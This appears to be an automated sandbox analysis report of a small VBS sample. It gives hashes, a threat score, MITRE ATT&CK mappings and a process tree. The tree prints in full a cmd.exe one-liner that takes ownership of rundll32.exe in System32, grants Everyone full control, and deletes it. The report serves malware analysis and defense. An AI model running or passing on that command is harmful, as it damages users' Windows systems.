14342c773731fb4526961b7c6822f67cd1e2649a981eda9f0c1090b18bfe86ee

Analysis

max time kernel
17s
max time network
17s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 10:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
trigger.vbs
Size 232B
Sample240821-mt2vvstgla
SHA256 14342c773731fb4526961b7c6822f67cd1e2649a981eda9f0c1090b18bfe86ee
MD5 4d0d44a31f151496752a279b509b6859
SHA1 7412767873d707404ee34f17263283657529c503
SHA512 91c70f2ad924fbe9265cf9e1afc6711a24741e7d3e6b941cb0d3f3d940a2ef7a4b748729f0be513e7adb4cc658cc8481af95295de858e7ea5d12694111be8eae
MD5 SHA1 SHA512

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
3036	takeown.exe
2388	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3036	takeown.exe
2388	icacls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3036	takeown.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 568 wrote to memory of 1140	568	WScript.exe	91
PID 568 wrote to memory of 1140	568	WScript.exe	91
PID 1140 wrote to memory of 3036	1140	cmd.exe	93
PID 1140 wrote to memory of 3036	1140	cmd.exe	93
PID 1140 wrote to memory of 2388	1140	cmd.exe	94
PID 1140 wrote to memory of 2388	1140	cmd.exe	94

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\rundll32.exe >nul && icacls C:\Windows\System32\rundll32.exe /grant Everyone:(F) >nul && del /s /q C:\Windows\System32\rundll32.exe >nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\rundll32.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3036
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\rundll32.exe /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4188,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:8
1⤵
PID:2144

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads